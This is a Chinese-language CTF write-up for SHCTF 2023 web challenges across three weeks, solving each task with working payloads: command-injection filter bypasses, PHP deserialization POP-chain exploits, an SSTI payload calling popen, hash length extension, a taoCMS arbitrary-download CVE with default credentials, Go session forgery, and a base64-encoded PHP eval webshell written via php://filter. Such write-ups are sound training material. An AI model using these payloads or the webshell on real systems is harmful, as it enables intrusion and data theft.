文章目录
- [WEEK1]
- babyRCE
- 1zzphp
- ez_serialize
- 登录就给flag
- 飞机大战
- 方法一
- 方法二
- ezphp
- 生成你的邀请函吧~
- [WEEK2]
- serialize
- no_wake_up
- MD5的事就拜托了
- Hashpump
- hash_ext_attack脚本
- ez_ssti
- EasyCMS
- [WEEK3]
- sseerriiaalliizzee
- gogogo
[WEEK1]
babyRCE
源码
<?php$rce = $_GET['rce'];
if (isset($rce)) {if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {system($rce);}else {echo "hhhhhhacker!!!"."\n";}
} else {highlight_file(__FILE__);
}
简单的过滤,分别用反斜杠\
绕过对关键字的过滤和用${IFS}
绕过对空格的过滤
?rce=l\s${IFS}/
?rce=ca\t${IFS}/fl\ag
1zzphp
源代码
<?php
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{$code = (String)$_POST['c_ode'];$num=$_GET['num'];if(preg_match("/[0-9]/", $num)){die("no number!");}elseif(intval($num)){if(preg_match('/.+?SHCTF/is', $code)){die('no touch!');}if(stripos($code,'2023SHCTF') === FALSE){die('what do you want');}echo $flag;}
} what do you want
简单分析一下,第一个是利用数组绕过intval函数;第二个是利用php解析特性和PRCE回溯绕过正则匹配
首先
?num[0]=1
成功绕过第一个if语句
然后就是利用脚本绕过第二个
注意变量名为c ode
import requestsdata = {'c ode': 'SHCTF' +'a'*1000000 + '2023SHCTF'
}res = requests.post('http://112.6.51.212:32100/?num[0]=1', data=data, allow_redirects=False)
print(res.text)
得到flag
ez_serialize
源码
<?php
highlight_file(__FILE__);class A{public $var_1;public function __invoke(){include($this->var_1);}
}class B{public $q;public function __wakeup()
{if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {echo "hacker"; }
}}
class C{public $var;public $z;public function __toString(){return $this->z->var;}
}class D{public $p;public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['payload']))
{unserialize($_GET['payload']);
}
?>
pop链子如下
B.__wakeup() --> C.__toString() --> D.__get() --> A.__invoke()
exp如下
<?phpclass A{public $var_1='php://filter/read=convert.base64-encode/resource=flag.php';
}class B{public $q;
}
class C{public $var;public $z;
}class D{public $p;
}$a=new B();
$b=new C();
$c=new D();
$d=new A();
$a->q=$b;
$b->z=$c;
$c->p=$d;
echo serialize($a);?>
用php伪协议去读,得到flag
登录就给flag
打开题目,发现是登录框
我们尝试一下,发现不是sql注入;因为不管输入什么回显都是用户密码错误
那么我们猜测要爆破密码,用户名应该为admin
bp抓包一下,随便用一个弱密码集
得到密码为password
登录得到flag
飞机大战
进去发现是游戏
查看下js源码,搜索一下alert
发现原来条件得分要大于99999
去到控制台,输入下面代码
var scores = 1000000;
jixu();
发现页面被重置了,一开始卡了半天;后面发现location.reload(true);
是执行页面重置
方法一
往上找找,发现won函数和Unicode编码的一串字符串
先Unicode解码
然后base64解码得到flag
方法二
我们已知won函数可以得到flag
在控制台输入以下代码
var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0033\u005a\u006a\u0067\u0030\u005a\u0044\u006c\u0069\u0059\u0069\u0030\u0033\u0059\u006d\u0045\u0077\u004c\u0054\u0051\u0033\u0059\u006d\u0045\u0074\u0059\u006a\u0063\u0031\u004e\u0079\u0031\u0068\u0059\u0054\u0064\u0069\u004d\u0044\u006b\u0030\u0059\u0057\u0056\u006a\u005a\u006d\u0056\u0039\u000a";
won();
按下回车,即可得到flag
ezphp
源码
<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{$pattern=$_POST['pattern'];if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code)){$code=$_GET['code'];preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);echo "you are smart";}else{die("try again");}
}else{die("it is begin");
}
?>
就是简单的正则匹配的/e模式
得到flag
生成你的邀请函吧~
打开题目
按照提示,我们要POST请求发送json数据
打开postman,一步步按要求来
得到flag
[WEEK2]
serialize
源码
<?php
highlight_file(__FILE__);
class misca{public $gao;public $fei;public $a;public function __get($key){$this->miaomiao();$this->gao=$this->fei;die($this->a);}public function miaomiao(){$this->a='Mikey Mouse~';}
}
class musca{public $ding;public $dong;public function __wakeup(){return $this->ding->dong;}
}
class milaoshu{public $v;public function __tostring(){echo"misca~musca~milaoshu~~~";include($this->v);}
}
function check($data){if(preg_match('/^O:\d+/',$data)){die("you should think harder!");}else return $data;
}
unserialize(check($_GET["wanna_fl.ag"]));
分析一下
- 我们先找出口为milaoshu.__tostring(),可以伪协议读flag
- 再往前找能触发的只有misca.miaomiao()了,不过这里要用到变量引用,让
$a
指向__tostring()
- 再往前就是musca.__wakeup()访问不存在的变量去调用misca.__get()
- 链子构造完,再利用数组绕过check方法的检测
pop链
musca.__wakeup() --> misca.__get() --> misca.miaomiao() --> milaoshu.__tostring()
exp
<?php
class misca{public $gao;public $fei;public $a;
}
class musca{public $ding;public $dong;
}
class milaoshu{public $v='php://filter/read=convert.base64-encode/resource=flag.php';
}$a=new musca();
$b=new misca();
$c=new milaoshu();
$a->ding=$b;
$b->gao=&$b->a;
$b->fei=$c;
echo serialize(array($a));
得到flag
no_wake_up
源码
<?php
highlight_file(__FILE__);
class flag{public $username;public $code;public function __wakeup(){$this->username = "guest";}public function __destruct(){if($this->username = "admin"){include($this->code);}}
}
unserialize($_GET['try']);
exp
<?php
highlight_file(__FILE__);
class flag{public $username='admin';public $code='php://filter/read=convert.base64-encode/resource=flag.php';
}$a=new flag();
echo serialize($a);
?>
绕过wakeup,直接手动数目+1
解码得到flag
MD5的事就拜托了
考点:变量覆盖,哈希拓展攻击
源码
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){extract(parse_url($_POST['SHCTF']));if($$$scheme==='SHCTF'){echo(md5($flag));echo("</br>");}if(isset($_GET['length'])){$num=$_GET['length'];if($num*100!=intval($num*100)){echo(strlen($flag));echo("</br>");}}
}
if($_POST['SHCTF']!=md5($flag)){if($_POST['SHCTF']===md5($flag.urldecode($num))){echo("flag is".$flag);}
}
分析一下
- POST传参SHCTF,首先parse_url() 函数接受一个URL字符串作为参数,并将其分解为一个关联数组,包含了URL的不同部分;然后extract() 函数使用数组键名作为变量名,使用数组键值作为变量值;if语句考点为变量覆盖,如果为真返回flag的MD5值
- GET传参length,这个if语句传个小数即可绕过
- 最后考察的是哈希拓展攻击
我们先看条件1,本地测试下相关函数
parse_url函数
<?php
highlight_file(__FILE__);
$url='https://www.example.com:8080/path/file.php?var1=value1';
$array=parse_url($url);
var_dump($array);
测试结果为
说明返回结果是关联数组,且数组名为对应url不同位置
所以这里变量覆盖的名称得结合url各部分的名称,构造如下
//这里我选用的是url的scheme,host,query这三个位置
$scheme=host
$$scheme=$host=query
$$$scheme=$query=SHCTFhost://query?SHCTF //分别把值对应到url上
然后再看GET传参,直接传1.0001
返回了flag的MD5值和长度
然后看向最后的if语句,直接网上搜md5($flag.urldecode($num))
,可以搜到其考点为哈希拓展攻击。这里跟网上的例题不太一样,这道题目给的是flag的MD5值,而不是md5($flag.urldecode($num))
这个整体的MD5值
所以这里有个小逻辑(我当时卡了好久),就是让上述这两个MD5值相等即可。这想法是怎么想的呢,首先哈希拓展攻击是单向的,无法反推。结合变量num的值可控,那么我们让其为空不就行了,下面我用两个工具展示一下
Hashpump
为了使得变量num为空,这里我们随便输入1,然后复制的时候不管它就行了
(注意\x要都改为%)
得到flag
hash_ext_attack脚本
同样让明文为空
得到flag
ez_ssti
先试试常用参数name,然后判断下ssti
payload
{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}
得到flag
EasyCMS
考点:CVE-2021-44983
打开题目,提示taoCMS管理系统
点开给的链接,按照提示找到CMSer模板
内容大概讲的是如何应用该模板,然后这里下载的版本是3.02
直接去网上搜,发现此版本的后台文件管理处存在任意文件下载漏洞(CVE-2021-44983)
我们先./admin/
进入后台登陆界面
然后输入用户名:admin;密码:tao
成功进入后点击文件管理
随便下一个,然后bp抓包
得到flag
[WEEK3]
sseerriiaalliizzee
源码
<?php
error_reporting(0);
highlight_file(__FILE__);class Start{public $barking;public function __construct(){$this->barking = new Flag;}public function __toString(){return $this->barking->dosomething();}
}class CTF{ public $part1;public $part2;public function __construct($part1='',$part2='') {$this -> part1 = $part1;$this -> part2 = $part2;}public function dosomething(){$useless = '<?php die("+Genshin Impact Start!+");?>';$useful= $useless. $this->part2;file_put_contents($this-> part1,$useful);}
}
class Flag{public function dosomething(){include('./flag,php');return "barking for fun!";}
}$code=$_POST['code']; if(isset($code)){echo unserialize($code);}else{echo "no way, fuck off";}
?>
分析一下
- 首先找到出口为CTF.dosomething(),这里的file_put_contents()可以进行getshell拿到flag,往前推到Start__toString()
- 要想触发tostring方法,只有Flag.dosomething()的return可以
- 再往前推,Start.__construct()方法会指向Flag类
pop链如下
Start.__construct() --> Flag.dosomething() --> Start__toString() --> CTF.dosomething()
这里有个关键点就是如何绕过死亡代码<?php die("+Genshin Impact Start!+");?>
,因为它会拼接起来去执行。我们的方法是strip_tags绕过,因为死亡代码实际上是XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
但是我们要写入的一句话木马也是XML标签,在用到strip_tags时也会被去除。所以注意到在写入文件的时候,filter是支持多个过滤器的。可以先将webshell经过base64编码,strip_tags去除死亡exit之后,再通过base64-decode复原。
exp如下
<?php
class Start{public $barking;}
class CTF{ public $part1;public $part2;
}class Flag{}$a=new Start();
$b=new Flag();
$c=new CTF();
$a->barking=$b;
$a->barking=$c;
$c->part1='php://filter/string.strip_tags|convert.base64-decode/resource=shell.php';
$c->part2='PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==';
echo serialize($a);
?>
上传后,访问./shell.php
,得到flag
gogogo
考点:go代码审计,session伪造,通配符绕过
main.go
package mainimport ("main/route""github.com/gin-gonic/gin"
)func main() {r := gin.Default()r.GET("/", route.Index)r.GET("/readflag", route.Readflag)r.Run("0.0.0.0:8000")
}
分析一下,就是给了两个路由。然后追踪再看看route.go
package routeimport ("github.com/gin-gonic/gin""github.com/gorilla/sessions""main/readfile""net/http""os""regexp"
)var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] !== nil {session.Values["name"] = "User"err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, User. How to become admin?")}func Readflag(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] == "admin" {c.String(200, "Congratulation! You are admin,But how to get flag?\n")path := c.Query("filename")reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)if reg.MatchString(path) {http.Error(c.Writer, "nonono", http.StatusInternalServerError)return}var data []byteif path != "" {data = readfile.ReadFile(path)} else {data = []byte("请传入参数")}c.JSON(200, gin.H{"success": "read: " + string(data),})} else {c.String(200, "Hello, User. How to become admin?")}
}
index函数作用是如果session中name的值不为nil,它将把name值设置为User;然后看readflag函数,发现检测name的值是否为admin,如果是可以进行读取文件
这里的意思很好懂,就是要把name的值改为admin。但是抓包后发现是有加密的
具体加密方式在源码中给了
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
大概意思是使用os.Getenv(“SESSION_KEY”)获取环境变量"SESSION_KEY"的值,这个值将用作会话存储的密钥。但是我们怎么能获取key呢,只能对SESSION_KEY进行猜测,就是并未设置SESSION_KEY,所以我们可以本地搭环境得到session值去伪造
首先把附件源码复制到创建的文件夹里
设置以下代理
go env -w GOPROXY=https://goproxy.io,direct
修改下index代码
func Index(c *gin.Context) {session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}if session.Values["name"] != "admin" {session.Values["name"] = "admin"err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, User. How to become admin?")}
目的就是如果不为admin,将会把name设置成admin,也就达成我们的目的
然后跑一下main.go
访问127.0.0.1:8000
,对应的cookie即为admin
最后就是readfile.go
package readfileimport ("os/exec"
)func ReadFile(path string) (string2 []byte) {defer func() {panic_err := recover()if panic_err != nil {}}()cmd := exec.Command("bash", "-c", "strings "+path)string2, err := cmd.Output()if err != nil {string2 = []byte("文件不存在")}return string2
}
简单的读取文件,构造出读取文件的语句./flag
回到题目,我们已经得到admin的cookie了
访问./readflag
,bp抓包修改name值
然后看看过滤条件
reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
不难发现有个a还可以用并且问号没被过滤,这里采取通配符绕过
payload
?file=/??a?
得到flag